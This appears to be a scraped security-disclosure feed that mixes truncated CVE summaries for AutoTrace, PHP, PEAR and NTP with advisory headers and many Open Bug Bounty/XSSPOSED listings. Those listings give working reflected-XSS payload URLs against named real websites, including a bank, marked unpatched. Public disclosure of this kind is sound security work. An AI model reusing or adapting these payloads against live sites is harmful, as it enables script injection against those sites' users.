CVE-2017-9158

libautotrace.a in AutoTrace 0.31.1 allows remote attackers to cause a denial of service invalid write and SEGV, related to the pnmloadraw function in input-pnm.c:336:11...

CVE-2017-9184

libautotrace.a in AutoTrace 0.31.1 has a "cannot be represented in type int" issue in input-bmp.c:314:7...

CVE-2017-9119

The izvalptrdtor function in Zend/zendvariables.h in PHP 7.1.5 allows attackers to cause a denial of service memory consumption and application crash or possibly have unspecified other impact by triggering crafted operations on array data structures...

WordPress Wow Viral Signups 2.1 SQL Injection

Exploit Title: Wow Viral Signups v2.1 WordPress Plugin SQL Injection Date: 29/03/2017 Exploit Author: TAD GROUP Vendor Homepage: http://wow-company.com/ Software Link: https://wordpress.org/plugins/mwp-viral-signup/ Version: 2.1 Contact: [email protected] Website: https://tad.bg Category: Web Applicati...

CVE-2017-5630

PECL in the download utility class in the Installer in PEAR Base System v1.10.1 does not validate file types and filenames after a redirect, which allows remote HTTP servers to overwrite files via crafted responses, as demonstrated by a .htaccess overwrite...

CVE-2016-9138

PHP through 5.6.27 and 7.x through 7.0.12 mishandles property modification during wakeup processing, which allows remote attackers to cause a denial of service or possibly have unspecified other impact via crafted serialized data, as demonstrated by Exception::toString with DateInterval::wakeup...

holsteinworld.com XSS vulnerability

Vulnerable URL: http://holsteinworld.com/sifr/fusibold.swf?txt=%3Ca%20href=%22javascript:alert%28/OPENBUGBOUNTY/%29%22%3Eclick%20me!%3C/a%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alex...

QNAP QTS 4.2.1 Build 20160601 Command Injection

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 Advisory ID: SYSS-2016-055 Product: QNAP QTS Manufacturer: QNAP Affected Versions: 4.2.1 Build 20160601 Tested Versions: 4.2.1 Build 20160601 - 4.2.2 Build 20160812 Vulnerability Type: OS Command Injection CWE-78 Risk Level: High Solution Status:...

monikafashions.com XSS vulnerability

Vulnerable URL: http://www.monikafashions.com/Catagories.php?CatName=1%22--%3E%3Csvg/onload=;prompt/OPENBUGBOUNTY/;%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 26102981 VIP...

tobot.de XSS vulnerability

Vulnerable URL: http://www.tobot.de/client.php?nummer=123=262=25=263=4=%22%3E%3Csvg/onload=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / N...

mstreetbank.com XSS vulnerability

Vulnerable URL: https://www.mstreetbank.com/wp-includes/js/mediaelement/flashmediaelement.swf?jsinitfunctio%gn=alertOPENBUGBOUNTY Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...

fotomagazin.ro XSS vulnerability

Vulnerable URL: http://www.fotomagazin.ro/fotomarket-search.php?q=%3Cimg%20src=x%20onerror=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 8899559...

gnpbu.ru XSS vulnerability

Vulnerable URL: http://www.gnpbu.ru/news/2015/12/25/%22%3E%3Csvg%20onload=alert%28'XSSPOSED'%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 780669 Google Pagerank| 6 VIP...

culverco.com XSS vulnerability

Vulnerable URL: http://www.culverco.com/sce/eew/guzzler/flashdetection.swf?flashContentURL=javascript:alert/XSSPOSED/ Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 3084612 Google...

CVE-2015-7973

NTP before 4.2.8p6 and 4.3.x before 4.3.90, when configured in broadcast mode, allows man-in-the-middle attackers to conduct replay attacks by sniffing the network...

186.42.197.154 XSS vulnerability

Vulnerable URL: http://186.42.197.154/cgi-bin/koha/opac-alert-subscribe.pl?externalid=6=issue=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa...

bata.in XSS vulnerability

Vulnerable URL: http://bata.in/bataindia/faces/tiles/search.jsp?q=Scholl==2===2=====&k1;=&k2;=&k3;=&k4;=&k5;=&k6;=&k7;=&k8;=&k9;=&k10;=&k11;=&k12;==g===16========%2Fbataindia%2Ftiles%2Fsearch.jsp=="';--===®=〈===0======= Details: Description| Value ---|--- Patched:| No Latest check for patch:|...

Unfixed XSS vulnerability at lavillette.com

Security researcher 0x73F, has submitted on 12/03/2015 a cross-site-scripting XSS vulnerability affecting lavillette.com, which at the time of submission ranked 431160 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 13/03/2015. It is currently...

gerflor.com.au XSS vulnerability

Vulnerable URL: http://www.gerflor.com.au/search.html?search=%22--%3E+%3C%2Fscript%3E%3Csvg%2Fonload%3D%27%3Balert%28%2FXSSPOSED%2F%29%3B%27%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...

prepaid-phone-cards-online.pushline.com XSS vulnerability

Vulnerable URL: http://prepaid-phone-cards-online.pushline.com/reg/forgot-password.php?login=%22%3E%3Csvg%2Fonload%3Dprompt%28%2FXSSPOSED%2F%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclose...